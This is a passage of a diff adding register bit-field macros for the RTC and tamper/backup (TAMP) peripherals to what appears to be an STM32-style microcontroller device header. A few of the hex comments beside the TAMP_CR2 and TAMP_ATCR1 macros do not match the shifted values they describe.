RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x02000000 */ +#define RTC_ALRMBSSR_MASKSS_2 (0x4UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x04000000 */ +#define RTC_ALRMBSSR_MASKSS_3 (0x8UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x08000000 */ +#define RTC_ALRMBSSR_MASKSS_4 (0x10UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x10000000 */ +#define RTC_ALRMBSSR_MASKSS_5 (0x20UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x20000000 */ +#define RTC_ALRMBSSR_SSCLR_Pos (31U) +#define RTC_ALRMBSSR_SSCLR_Msk (0x1UL << RTC_ALRMBSSR_SSCLR_Pos) /*!< 0x80000000 */ +#define RTC_ALRMBSSR_SSCLR RTC_ALRMBSSR_SSCLR_Msk + +/******************** Bits definition for RTC_SR register *******************/ +#define RTC_SR_ALRAF_Pos (0U) +#define RTC_SR_ALRAF_Msk (0x1UL << RTC_SR_ALRAF_Pos) /*!< 0x00000001 */ +#define RTC_SR_ALRAF RTC_SR_ALRAF_Msk +#define RTC_SR_ALRBF_Pos (1U) +#define RTC_SR_ALRBF_Msk (0x1UL << RTC_SR_ALRBF_Pos) /*!< 0x00000002 */ +#define RTC_SR_ALRBF RTC_SR_ALRBF_Msk +#define RTC_SR_WUTF_Pos (2U) +#define RTC_SR_WUTF_Msk (0x1UL << RTC_SR_WUTF_Pos) /*!< 0x00000004 */ +#define RTC_SR_WUTF RTC_SR_WUTF_Msk +#define RTC_SR_TSF_Pos (3U) +#define RTC_SR_TSF_Msk (0x1UL << RTC_SR_TSF_Pos) /*!< 0x00000008 */ +#define RTC_SR_TSF RTC_SR_TSF_Msk +#define RTC_SR_TSOVF_Pos (4U) +#define RTC_SR_TSOVF_Msk (0x1UL << RTC_SR_TSOVF_Pos) /*!< 0x00000010 */ +#define RTC_SR_TSOVF RTC_SR_TSOVF_Msk +#define RTC_SR_ITSF_Pos (5U) +#define RTC_SR_ITSF_Msk (0x1UL << RTC_SR_ITSF_Pos) /*!< 0x00000020 */ +#define RTC_SR_ITSF RTC_SR_ITSF_Msk +#define RTC_SR_SSRUF_Pos (6U) +#define RTC_SR_SSRUF_Msk (0x1UL << RTC_SR_SSRUF_Pos) /*!< 0x00000040 */ +#define RTC_SR_SSRUF RTC_SR_SSRUF_Msk + +/******************** Bits definition for RTC_MISR register *****************/ +#define RTC_MISR_ALRAMF_Pos (0U) +#define RTC_MISR_ALRAMF_Msk (0x1UL << RTC_MISR_ALRAMF_Pos) /*!< 0x00000001 */ +#define RTC_MISR_ALRAMF RTC_MISR_ALRAMF_Msk +#define RTC_MISR_ALRBMF_Pos (1U) +#define RTC_MISR_ALRBMF_Msk (0x1UL << RTC_MISR_ALRBMF_Pos) /*!< 0x00000002 */ +#define RTC_MISR_ALRBMF RTC_MISR_ALRBMF_Msk +#define RTC_MISR_WUTMF_Pos (2U) +#define RTC_MISR_WUTMF_Msk (0x1UL << RTC_MISR_WUTMF_Pos) /*!< 0x00000004 */ +#define RTC_MISR_WUTMF RTC_MISR_WUTMF_Msk +#define RTC_MISR_TSMF_Pos (3U) +#define RTC_MISR_TSMF_Msk (0x1UL << RTC_MISR_TSMF_Pos) /*!< 0x00000008 */ +#define RTC_MISR_TSMF RTC_MISR_TSMF_Msk +#define RTC_MISR_TSOVMF_Pos (4U) +#define RTC_MISR_TSOVMF_Msk (0x1UL << RTC_MISR_TSOVMF_Pos) /*!< 0x00000010 */ +#define RTC_MISR_TSOVMF RTC_MISR_TSOVMF_Msk +#define RTC_MISR_ITSMF_Pos (5U) +#define RTC_MISR_ITSMF_Msk (0x1UL << RTC_MISR_ITSMF_Pos) /*!< 0x00000020 */ +#define RTC_MISR_ITSMF RTC_MISR_ITSMF_Msk +#define RTC_MISR_SSRUMF_Pos (6U) +#define RTC_MISR_SSRUMF_Msk (0x1UL << RTC_MISR_SSRUMF_Pos) /*!< 0x00000040 */ +#define RTC_MISR_SSRUMF RTC_MISR_SSRUMF_Msk + +/******************** Bits definition for RTC_SMISR register *****************/ +#define RTC_SMISR_ALRAMF_Pos (0U) +#define RTC_SMISR_ALRAMF_Msk (0x1UL << RTC_SMISR_ALRAMF_Pos) /*!< 0x00000001 */ +#define RTC_SMISR_ALRAMF RTC_SMISR_ALRAMF_Msk +#define RTC_SMISR_ALRBMF_Pos (1U) +#define RTC_SMISR_ALRBMF_Msk (0x1UL << RTC_SMISR_ALRBMF_Pos) /*!< 0x00000002 */ +#define RTC_SMISR_ALRBMF RTC_SMISR_ALRBMF_Msk +#define RTC_SMISR_WUTMF_Pos (2U) +#define RTC_SMISR_WUTMF_Msk (0x1UL << RTC_SMISR_WUTMF_Pos) /*!< 0x00000004 */ +#define RTC_SMISR_WUTMF RTC_SMISR_WUTMF_Msk +#define RTC_SMISR_TSMF_Pos (3U) +#define RTC_SMISR_TSMF_Msk (0x1UL << RTC_SMISR_TSMF_Pos) /*!< 0x00000008 */ +#define RTC_SMISR_TSMF RTC_SMISR_TSMF_Msk +#define RTC_SMISR_TSOVMF_Pos (4U) +#define RTC_SMISR_TSOVMF_Msk (0x1UL << RTC_SMISR_TSOVMF_Pos) /*!< 0x00000010 */ +#define RTC_SMISR_TSOVMF RTC_SMISR_TSOVMF_Msk +#define RTC_SMISR_ITSMF_Pos (5U) +#define RTC_SMISR_ITSMF_Msk (0x1UL << RTC_SMISR_ITSMF_Pos) /*!< 0x00000020 */ +#define RTC_SMISR_ITSMF RTC_SMISR_ITSMF_Msk +#define RTC_SMISR_SSRUMF_Pos (6U) +#define RTC_SMISR_SSRUMF_Msk (0x1UL << RTC_SMISR_SSRUMF_Pos) /*!< 0x00000040 */ +#define RTC_SMISR_SSRUMF RTC_SMISR_SSRUMF_Msk + +/******************** Bits definition for RTC_SCR register ******************/ +#define RTC_SCR_CALRAF_Pos (0U) +#define RTC_SCR_CALRAF_Msk (0x1UL << RTC_SCR_CALRAF_Pos) /*!< 0x00000001 */ +#define RTC_SCR_CALRAF RTC_SCR_CALRAF_Msk +#define RTC_SCR_CALRBF_Pos (1U) +#define RTC_SCR_CALRBF_Msk (0x1UL << RTC_SCR_CALRBF_Pos) /*!< 0x00000002 */ +#define RTC_SCR_CALRBF RTC_SCR_CALRBF_Msk +#define RTC_SCR_CWUTF_Pos (2U) +#define RTC_SCR_CWUTF_Msk (0x1UL << RTC_SCR_CWUTF_Pos) /*!< 0x00000004 */ +#define RTC_SCR_CWUTF RTC_SCR_CWUTF_Msk +#define RTC_SCR_CTSF_Pos (3U) +#define RTC_SCR_CTSF_Msk (0x1UL << RTC_SCR_CTSF_Pos) /*!< 0x00000008 */ +#define RTC_SCR_CTSF RTC_SCR_CTSF_Msk +#define RTC_SCR_CTSOVF_Pos (4U) +#define RTC_SCR_CTSOVF_Msk (0x1UL << RTC_SCR_CTSOVF_Pos) /*!< 0x00000010 */ +#define RTC_SCR_CTSOVF RTC_SCR_CTSOVF_Msk +#define RTC_SCR_CITSF_Pos (5U) +#define RTC_SCR_CITSF_Msk (0x1UL << RTC_SCR_CITSF_Pos) /*!< 0x00000020 */ +#define RTC_SCR_CITSF RTC_SCR_CITSF_Msk +#define RTC_SCR_CSSRUF_Pos (6U) +#define RTC_SCR_CSSRUF_Msk (0x1UL << RTC_SCR_CSSRUF_Pos) /*!< 0x00000040 */ +#define RTC_SCR_CSSRUF RTC_SCR_CSSRUF_Msk + +/******************** Bits definition for RTC_OR register ******************/ +#define RTC_OR_OUT2_RMP_Pos (0U) +#define RTC_OR_OUT2_RMP_Msk (0x1UL << RTC_OR_OUT2_RMP_Pos) /*!< 0x00000001 */ +#define RTC_OR_OUT2_RMP RTC_OR_OUT2_RMP_Msk + +/******************** Bits definition for RTC_ALRABINR register ******************/ +#define RTC_ALRABINR_SS_Pos (0U) +#define RTC_ALRABINR_SS_Msk (0xFFFFFFFFUL << RTC_ALRABINR_SS_Pos) /*!< 0xFFFFFFFF */ +#define RTC_ALRABINR_SS RTC_ALRABINR_SS_Msk + +/******************** Bits definition for RTC_ALRBBINR register ******************/ +#define RTC_ALRBBINR_SS_Pos (0U) +#define RTC_ALRBBINR_SS_Msk (0xFFFFFFFFUL << RTC_ALRBBINR_SS_Pos) /*!< 0xFFFFFFFF */ +#define RTC_ALRBBINR_SS RTC_ALRBBINR_SS_Msk + +/******************************************************************************/ +/* */ +/* Tamper and backup register (TAMP) */ +/* */ +/******************************************************************************/ +/******************** Bits definition for TAMP_CR1 register *****************/ +#define TAMP_CR1_TAMP1E_Pos (0U) +#define TAMP_CR1_TAMP1E_Msk (0x1UL << TAMP_CR1_TAMP1E_Pos) /*!< 0x00000001 */ +#define TAMP_CR1_TAMP1E TAMP_CR1_TAMP1E_Msk +#define TAMP_CR1_TAMP2E_Pos (1U) +#define TAMP_CR1_TAMP2E_Msk (0x1UL << TAMP_CR1_TAMP2E_Pos) /*!< 0x00000002 */ +#define TAMP_CR1_TAMP2E TAMP_CR1_TAMP2E_Msk +#define TAMP_CR1_TAMP3E_Pos (2U) +#define TAMP_CR1_TAMP3E_Msk (0x1UL << TAMP_CR1_TAMP3E_Pos) /*!< 0x00000004 */ +#define TAMP_CR1_TAMP3E TAMP_CR1_TAMP3E_Msk +#define TAMP_CR1_TAMP4E_Pos (3U) +#define TAMP_CR1_TAMP4E_Msk (0x1UL << TAMP_CR1_TAMP4E_Pos) /*!< 0x00000008 */ +#define TAMP_CR1_TAMP4E TAMP_CR1_TAMP4E_Msk +#define TAMP_CR1_TAMP5E_Pos (4U) +#define TAMP_CR1_TAMP5E_Msk (0x1UL << TAMP_CR1_TAMP5E_Pos) /*!< 0x00000010 */ +#define TAMP_CR1_TAMP5E TAMP_CR1_TAMP5E_Msk +#define TAMP_CR1_TAMP6E_Pos (5U) +#define TAMP_CR1_TAMP6E_Msk (0x1UL << TAMP_CR1_TAMP6E_Pos) /*!< 0x00000020 */ +#define TAMP_CR1_TAMP6E TAMP_CR1_TAMP6E_Msk +#define TAMP_CR1_TAMP7E_Pos (6U) +#define TAMP_CR1_TAMP7E_Msk (0x1UL << TAMP_CR1_TAMP7E_Pos) /*!< 0x00000040 */ +#define TAMP_CR1_TAMP7E TAMP_CR1_TAMP7E_Msk +#define TAMP_CR1_TAMP8E_Pos (7U) +#define TAMP_CR1_TAMP8E_Msk (0x1UL << TAMP_CR1_TAMP8E_Pos) /*!< 0x00000080 */ +#define TAMP_CR1_TAMP8E TAMP_CR1_TAMP8E_Msk +#define TAMP_CR1_ITAMP1E_Pos (16U) +#define TAMP_CR1_ITAMP1E_Msk (0x1UL << TAMP_CR1_ITAMP1E_Pos) /*!< 0x00010000 */ +#define TAMP_CR1_ITAMP1E TAMP_CR1_ITAMP1E_Msk +#define TAMP_CR1_ITAMP2E_Pos (17U) +#define TAMP_CR1_ITAMP2E_Msk (0x1UL << TAMP_CR1_ITAMP2E_Pos) /*!< 0x00020000 */ +#define TAMP_CR1_ITAMP2E TAMP_CR1_ITAMP2E_Msk +#define TAMP_CR1_ITAMP3E_Pos (18U) +#define TAMP_CR1_ITAMP3E_Msk (0x1UL << TAMP_CR1_ITAMP3E_Pos) /*!< 0x00040000 */ +#define TAMP_CR1_ITAMP3E TAMP_CR1_ITAMP3E_Msk +#define TAMP_CR1_ITAMP4E_Pos (19U) +#define TAMP_CR1_ITAMP4E_Msk (0x1UL << TAMP_CR1_ITAMP4E_Pos) /*!< 0x00080000 */ +#define TAMP_CR1_ITAMP4E TAMP_CR1_ITAMP4E_Msk +#define TAMP_CR1_ITAMP5E_Pos (20U) +#define TAMP_CR1_ITAMP5E_Msk (0x1UL << TAMP_CR1_ITAMP5E_Pos) /*!< 0x00100000 */ +#define TAMP_CR1_ITAMP5E TAMP_CR1_ITAMP5E_Msk +#define TAMP_CR1_ITAMP6E_Pos (21U) +#define TAMP_CR1_ITAMP6E_Msk (0x1UL << TAMP_CR1_ITAMP6E_Pos) /*!< 0x00200000 */ +#define TAMP_CR1_ITAMP6E TAMP_CR1_ITAMP6E_Msk +#define TAMP_CR1_ITAMP7E_Pos (22U) +#define TAMP_CR1_ITAMP7E_Msk (0x1UL << TAMP_CR1_ITAMP7E_Pos) /*!< 0x00400000 */ +#define TAMP_CR1_ITAMP7E TAMP_CR1_ITAMP7E_Msk +#define TAMP_CR1_ITAMP8E_Pos (23U) +#define TAMP_CR1_ITAMP8E_Msk (0x1UL << TAMP_CR1_ITAMP8E_Pos) /*!< 0x00800000 */ +#define TAMP_CR1_ITAMP8E TAMP_CR1_ITAMP8E_Msk +#define TAMP_CR1_ITAMP9E_Pos (24U) +#define TAMP_CR1_ITAMP9E_Msk (0x1UL << TAMP_CR1_ITAMP9E_Pos) /*!< 0x01000000 */ +#define TAMP_CR1_ITAMP9E TAMP_CR1_ITAMP9E_Msk +#define TAMP_CR1_ITAMP11E_Pos (26U) +#define TAMP_CR1_ITAMP11E_Msk (0x1UL << TAMP_CR1_ITAMP11E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP11E TAMP_CR1_ITAMP11E_Msk +#define TAMP_CR1_ITAMP12E_Pos (27U) +#define TAMP_CR1_ITAMP12E_Msk (0x1UL << TAMP_CR1_ITAMP12E_Pos) /*!< 0x08000000 */ +#define TAMP_CR1_ITAMP12E TAMP_CR1_ITAMP12E_Msk +#define TAMP_CR1_ITAMP13E_Pos (28U) +#define TAMP_CR1_ITAMP13E_Msk (0x1UL << TAMP_CR1_ITAMP13E_Pos) /*!< 0x10000000 */ +#define TAMP_CR1_ITAMP13E TAMP_CR1_ITAMP13E_Msk +#define TAMP_CR1_ITAMP15E_Pos (30U) +#define TAMP_CR1_ITAMP15E_Msk (0x1UL << TAMP_CR1_ITAMP15E_Pos) /*!< 0x40000000 */ +#define TAMP_CR1_ITAMP15E TAMP_CR1_ITAMP15E_Msk + +/******************** Bits definition for TAMP_CR2 register *****************/ +#define TAMP_CR2_TAMP1NOERASE_Pos (0U) +#define TAMP_CR2_TAMP1NOERASE_Msk (0x1UL << TAMP_CR2_TAMP1NOERASE_Pos) /*!< 0x00000001 */ +#define TAMP_CR2_TAMP1NOERASE TAMP_CR2_TAMP1NOERASE_Msk +#define TAMP_CR2_TAMP2NOERASE_Pos (1U) +#define TAMP_CR2_TAMP2NOERASE_Msk (0x1UL << TAMP_CR2_TAMP2NOERASE_Pos) /*!< 0x00000002 */ +#define TAMP_CR2_TAMP2NOERASE TAMP_CR2_TAMP2NOERASE_Msk +#define TAMP_CR2_TAMP3NOERASE_Pos (2U) +#define TAMP_CR2_TAMP3NOERASE_Msk (0x1UL << TAMP_CR2_TAMP3NOERASE_Pos) /*!< 0x00000004 */ +#define TAMP_CR2_TAMP3NOERASE TAMP_CR2_TAMP3NOERASE_Msk +#define TAMP_CR2_TAMP4NOERASE_Pos (3U) +#define TAMP_CR2_TAMP4NOERASE_Msk (0x1UL << TAMP_CR2_TAMP4NOERASE_Pos) /*!< 0x00000008 */ +#define TAMP_CR2_TAMP4NOERASE TAMP_CR2_TAMP4NOERASE_Msk +#define TAMP_CR2_TAMP5NOERASE_Pos (4U) +#define TAMP_CR2_TAMP5NOERASE_Msk (0x1UL << TAMP_CR2_TAMP5NOERASE_Pos) /*!< 0x00000010 */ +#define TAMP_CR2_TAMP5NOERASE TAMP_CR2_TAMP5NOERASE_Msk +#define TAMP_CR2_TAMP6NOERASE_Pos (5U) +#define TAMP_CR2_TAMP6NOERASE_Msk (0x1UL << TAMP_CR2_TAMP6NOERASE_Pos) /*!< 0x00000020 */ +#define TAMP_CR2_TAMP6NOERASE TAMP_CR2_TAMP6NOERASE_Msk +#define TAMP_CR2_TAMP7NOERASE_Pos (6U) +#define TAMP_CR2_TAMP7NOERASE_Msk (0x1UL << TAMP_CR2_TAMP7NOERASE_Pos) /*!< 0x00000040 */ +#define TAMP_CR2_TAMP7NOERASE TAMP_CR2_TAMP7NOERASE_Msk +#define TAMP_CR2_TAMP8NOERASE_Pos (7U) +#define TAMP_CR2_TAMP8NOERASE_Msk (0x1UL << TAMP_CR2_TAMP8NOERASE_Pos) /*!< 0x00000080 */ +#define TAMP_CR2_TAMP8NOERASE TAMP_CR2_TAMP8NOERASE_Msk +#define TAMP_CR2_TAMP1MSK_Pos (16U) +#define TAMP_CR2_TAMP1MSK_Msk (0x1UL << TAMP_CR2_TAMP1MSK_Pos) /*!< 0x00010000 */ +#define TAMP_CR2_TAMP1MSK TAMP_CR2_TAMP1MSK_Msk +#define TAMP_CR2_TAMP2MSK_Pos (17U) +#define TAMP_CR2_TAMP2MSK_Msk (0x1UL << TAMP_CR2_TAMP2MSK_Pos) /*!< 0x00020000 */ +#define TAMP_CR2_TAMP2MSK TAMP_CR2_TAMP2MSK_Msk +#define TAMP_CR2_TAMP3MSK_Pos (18U) +#define TAMP_CR2_TAMP3MSK_Msk (0x1UL << TAMP_CR2_TAMP3MSK_Pos) /*!< 0x00040000 */ +#define TAMP_CR2_TAMP3MSK TAMP_CR2_TAMP3MSK_Msk +#define TAMP_CR2_BKBLOCK_Pos (22U) +#define TAMP_CR2_BKBLOCK_Msk (0x1UL << TAMP_CR2_BKBLOCK_Pos) /*!< 0x00400000 */ +#define TAMP_CR2_BKBLOCK TAMP_CR2_BKBLOCK_Msk +#define TAMP_CR2_BKERASE_Pos (23U) +#define TAMP_CR2_BKERASE_Msk (0x1UL << TAMP_CR2_BKERASE_Pos) /*!< 0x00800000 */ +#define TAMP_CR2_BKERASE TAMP_CR2_BKERASE_Msk +#define TAMP_CR2_TAMP1TRG_Pos (24U) +#define TAMP_CR2_TAMP1TRG_Msk (0x1UL << TAMP_CR2_TAMP1TRG_Pos) /*!< 0x01000000 */ +#define TAMP_CR2_TAMP1TRG TAMP_CR2_TAMP1TRG_Msk +#define TAMP_CR2_TAMP2TRG_Pos (25U) +#define TAMP_CR2_TAMP2TRG_Msk (0x1UL << TAMP_CR2_TAMP2TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP2TRG TAMP_CR2_TAMP2TRG_Msk +#define TAMP_CR2_TAMP3TRG_Pos (26U) +#define TAMP_CR2_TAMP3TRG_Msk (0x1UL << TAMP_CR2_TAMP3TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP3TRG TAMP_CR2_TAMP3TRG_Msk +#define TAMP_CR2_TAMP4TRG_Pos (27U) +#define TAMP_CR2_TAMP4TRG_Msk (0x1UL << TAMP_CR2_TAMP4TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP4TRG TAMP_CR2_TAMP4TRG_Msk +#define TAMP_CR2_TAMP5TRG_Pos (28U) +#define TAMP_CR2_TAMP5TRG_Msk (0x1UL << TAMP_CR2_TAMP5TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP5TRG TAMP_CR2_TAMP5TRG_Msk +#define TAMP_CR2_TAMP6TRG_Pos (29U) +#define TAMP_CR2_TAMP6TRG_Msk (0x1UL << TAMP_CR2_TAMP6TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP6TRG TAMP_CR2_TAMP6TRG_Msk +#define TAMP_CR2_TAMP7TRG_Pos (30U) +#define TAMP_CR2_TAMP7TRG_Msk (0x1UL << TAMP_CR2_TAMP7TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP7TRG TAMP_CR2_TAMP7TRG_Msk +#define TAMP_CR2_TAMP8TRG_Pos (31U) +#define TAMP_CR2_TAMP8TRG_Msk (0x1UL << TAMP_CR2_TAMP8TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP8TRG TAMP_CR2_TAMP8TRG_Msk + +/******************** Bits definition for TAMP_CR3 register *****************/ +#define TAMP_CR3_ITAMP1NOER_Pos (0U) +#define TAMP_CR3_ITAMP1NOER_Msk (0x1UL << TAMP_CR3_ITAMP1NOER_Pos) /*!< 0x00000001 */ +#define TAMP_CR3_ITAMP1NOER TAMP_CR3_ITAMP1NOER_Msk +#define TAMP_CR3_ITAMP2NOER_Pos (1U) +#define TAMP_CR3_ITAMP2NOER_Msk (0x1UL << TAMP_CR3_ITAMP2NOER_Pos) /*!< 0x00000002 */ +#define TAMP_CR3_ITAMP2NOER TAMP_CR3_ITAMP2NOER_Msk +#define TAMP_CR3_ITAMP3NOER_Pos (2U) +#define TAMP_CR3_ITAMP3NOER_Msk (0x1UL << TAMP_CR3_ITAMP3NOER_Pos) /*!< 0x00000004 */ +#define TAMP_CR3_ITAMP3NOER TAMP_CR3_ITAMP3NOER_Msk +#define TAMP_CR3_ITAMP4NOER_Pos (3U) +#define TAMP_CR3_ITAMP4NOER_Msk (0x1UL << TAMP_CR3_ITAMP4NOER_Pos) /*!< 0x00000008 */ +#define TAMP_CR3_ITAMP4NOER TAMP_CR3_ITAMP4NOER_Msk +#define TAMP_CR3_ITAMP5NOER_Pos (4U) +#define TAMP_CR3_ITAMP5NOER_Msk (0x1UL << TAMP_CR3_ITAMP5NOER_Pos) /*!< 0x00000010 */ +#define TAMP_CR3_ITAMP5NOER TAMP_CR3_ITAMP5NOER_Msk +#define TAMP_CR3_ITAMP6NOER_Pos (5U) +#define TAMP_CR3_ITAMP6NOER_Msk (0x1UL << TAMP_CR3_ITAMP6NOER_Pos) /*!< 0x00000020 */ +#define TAMP_CR3_ITAMP6NOER TAMP_CR3_ITAMP6NOER_Msk +#define TAMP_CR3_ITAMP7NOER_Pos (6U) +#define TAMP_CR3_ITAMP7NOER_Msk (0x1UL << TAMP_CR3_ITAMP7NOER_Pos) /*!< 0x00000040 */ +#define TAMP_CR3_ITAMP7NOER TAMP_CR3_ITAMP7NOER_Msk +#define TAMP_CR3_ITAMP8NOER_Pos (7U) +#define TAMP_CR3_ITAMP8NOER_Msk (0x1UL << TAMP_CR3_ITAMP8NOER_Pos) /*!< 0x00000080 */ +#define TAMP_CR3_ITAMP8NOER TAMP_CR3_ITAMP8NOER_Msk +#define TAMP_CR3_ITAMP9NOER_Pos (8U) +#define TAMP_CR3_ITAMP9NOER_Msk (0x1UL << TAMP_CR3_ITAMP9NOER_Pos) /*!< 0x00000100 */ +#define TAMP_CR3_ITAMP9NOER TAMP_CR3_ITAMP9NOER_Msk +#define TAMP_CR3_ITAMP11NOER_Pos (10U) +#define TAMP_CR3_ITAMP11NOER_Msk (0x1UL << TAMP_CR3_ITAMP11NOER_Pos) /*!< 0x00000400 */ +#define TAMP_CR3_ITAMP11NOER TAMP_CR3_ITAMP11NOER_Msk +#define TAMP_CR3_ITAMP12NOER_Pos (11U) +#define TAMP_CR3_ITAMP12NOER_Msk (0x1UL << TAMP_CR3_ITAMP12NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP12NOER TAMP_CR3_ITAMP12NOER_Msk +#define TAMP_CR3_ITAMP13NOER_Pos (12U) +#define TAMP_CR3_ITAMP13NOER_Msk (0x1UL << TAMP_CR3_ITAMP13NOER_Pos) /*!< 0x00001000 */ +#define TAMP_CR3_ITAMP13NOER TAMP_CR3_ITAMP13NOER_Msk +#define TAMP_CR3_ITAMP15NOER_Pos (14U) +#define TAMP_CR3_ITAMP15NOER_Msk (0x1UL << TAMP_CR3_ITAMP15NOER_Pos) /*!< 0x00004000 */ +#define TAMP_CR3_ITAMP15NOER TAMP_CR3_ITAMP15NOER_Msk + +/******************** Bits definition for TAMP_FLTCR register ***************/ +#define TAMP_FLTCR_TAMPFREQ_Pos (0U) +#define TAMP_FLTCR_TAMPFREQ_Msk (0x7UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000007 */ +#define TAMP_FLTCR_TAMPFREQ TAMP_FLTCR_TAMPFREQ_Msk +#define TAMP_FLTCR_TAMPFREQ_0 (0x1UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000001 */ +#define TAMP_FLTCR_TAMPFREQ_1 (0x2UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000002 */ +#define TAMP_FLTCR_TAMPFREQ_2 (0x4UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000004 */ +#define TAMP_FLTCR_TAMPFLT_Pos (3U) +#define TAMP_FLTCR_TAMPFLT_Msk (0x3UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000018 */ +#define TAMP_FLTCR_TAMPFLT TAMP_FLTCR_TAMPFLT_Msk +#define TAMP_FLTCR_TAMPFLT_0 (0x1UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000008 */ +#define TAMP_FLTCR_TAMPFLT_1 (0x2UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000010 */ +#define TAMP_FLTCR_TAMPPRCH_Pos (5U) +#define TAMP_FLTCR_TAMPPRCH_Msk (0x3UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000060 */ +#define TAMP_FLTCR_TAMPPRCH TAMP_FLTCR_TAMPPRCH_Msk +#define TAMP_FLTCR_TAMPPRCH_0 (0x1UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000020 */ +#define TAMP_FLTCR_TAMPPRCH_1 (0x2UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000040 */ +#define TAMP_FLTCR_TAMPPUDIS_Pos (7U) +#define TAMP_FLTCR_TAMPPUDIS_Msk (0x1UL << TAMP_FLTCR_TAMPPUDIS_Pos) /*!< 0x00000080 */ +#define TAMP_FLTCR_TAMPPUDIS TAMP_FLTCR_TAMPPUDIS_Msk + +/******************** Bits definition for TAMP_ATCR1 register ***************/ +#define TAMP_ATCR1_TAMP1AM_Pos (0U) +#define TAMP_ATCR1_TAMP1AM_Msk (0x1UL << TAMP_ATCR1_TAMP1AM_Pos) /*!< 0x00000001 */ +#define TAMP_ATCR1_TAMP1AM TAMP_ATCR1_TAMP1AM_Msk +#define TAMP_ATCR1_TAMP2AM_Pos (1U) +#define TAMP_ATCR1_TAMP2AM_Msk (0x1UL << TAMP_ATCR1_TAMP2AM_Pos) /*!< 0x00000002 */ +#define TAMP_ATCR1_TAMP2AM TAMP_ATCR1_TAMP2AM_Msk +#define TAMP_ATCR1_TAMP3AM_Pos (2U) +#define TAMP_ATCR1_TAMP3AM_Msk (0x1UL << TAMP_ATCR1_TAMP3AM_Pos) /*!< 0x00000004 */ +#define TAMP_ATCR1_TAMP3AM TAMP_ATCR1_TAMP3AM_Msk +#define TAMP_ATCR1_TAMP4AM_Pos (3U) +#define TAMP_ATCR1_TAMP4AM_Msk (0x1UL << TAMP_ATCR1_TAMP4AM_Pos) /*!< 0x00000008 */ +#define TAMP_ATCR1_TAMP4AM TAMP_ATCR1_TAMP4AM_Msk +#define TAMP_ATCR1_TAMP5AM_Pos (4U) +#define TAMP_ATCR1_TAMP5AM_Msk (0x1UL << TAMP_ATCR1_TAMP5AM_Pos) /*!< 0x00000010 */ +#define TAMP_ATCR1_TAMP5AM TAMP_ATCR1_TAMP5AM_Msk +#define TAMP_ATCR1_TAMP6AM_Pos (5U) +#define TAMP_ATCR1_TAMP6AM_Msk (0x1UL << TAMP_ATCR1_TAMP6AM_Pos) /*!< 0x00000010 */ +#define TAMP_ATCR1_TAMP6AM TAMP_ATCR1_TAMP6AM_Msk +#define TAMP_ATCR1_TAMP7AM_Pos (6U) +#define TAMP_ATCR1_TAMP7AM_Msk (0x1UL << TAMP_ATCR1_TAMP7AM_Pos) /*!< 0x00000040 */ +#define TAMP_ATCR1_TAMP7AM TAMP_ATCR1_TAMP7AM_Msk +#define TAMP_ATCR1_TAMP8AM_Pos (7U) +#define TAMP_ATCR1_TAMP8AM_Msk (0x1UL << TAMP_ATCR1_TAMP8AM_Pos) /*!< 0x00000080 */ +#define TAMP_ATCR1_TAMP8AM TAMP_ATCR1_TAMP8AM_Msk +#define TAMP_ATCR1_ATOSEL1_Pos (8U) +#define TAMP_ATCR1_ATOSEL1_Msk (0x3UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000300 */ +#define TAMP_ATCR1_ATOSEL1 TAMP_ATCR1_ATOSEL1_Msk +#define TAMP_ATCR1_ATOSEL1_0 (0x1UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000100 */ +#define TAMP_ATCR1_ATOSEL1_1 (0x2UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000200 */ +#define TAMP_ATCR1_ATOSEL2_Pos (10U) +#define TAMP_ATCR1_ATOSEL2_Msk (0x3UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000C00 */ +#define TAMP_ATCR1_ATOSEL2 TAMP_ATCR1_ATOSEL2_Msk +#define TAMP_ATCR1_ATOSEL2_0 (0x1UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000400 */ +#define TAMP_ATCR1_ATOSEL2_1 (0x2UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000800 */ +#define TAMP_ATCR1_ATOSEL3_Pos (12U) +#define TAMP_ATCR1_ATOSEL3_Msk (0x3UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00003000 */ +#define TAMP_ATCR1_ATOSEL3 TAMP_ATCR1_ATOSEL3_Msk +#define TAMP_ATCR1_ATOSEL3_0 (0x1UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00001000 */ +#define TAMP_ATCR1_ATOSEL3_1 (0x2UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00002000 */ +#define TAMP_ATCR1_ATOSEL4_Pos (14U) +#define TAMP_ATCR1_ATOSEL4_Msk (0x3UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x0000C000 */ +#define TAMP_ATCR1_ATOSEL4 TAMP_ATCR1_ATOSEL4_Msk +#define 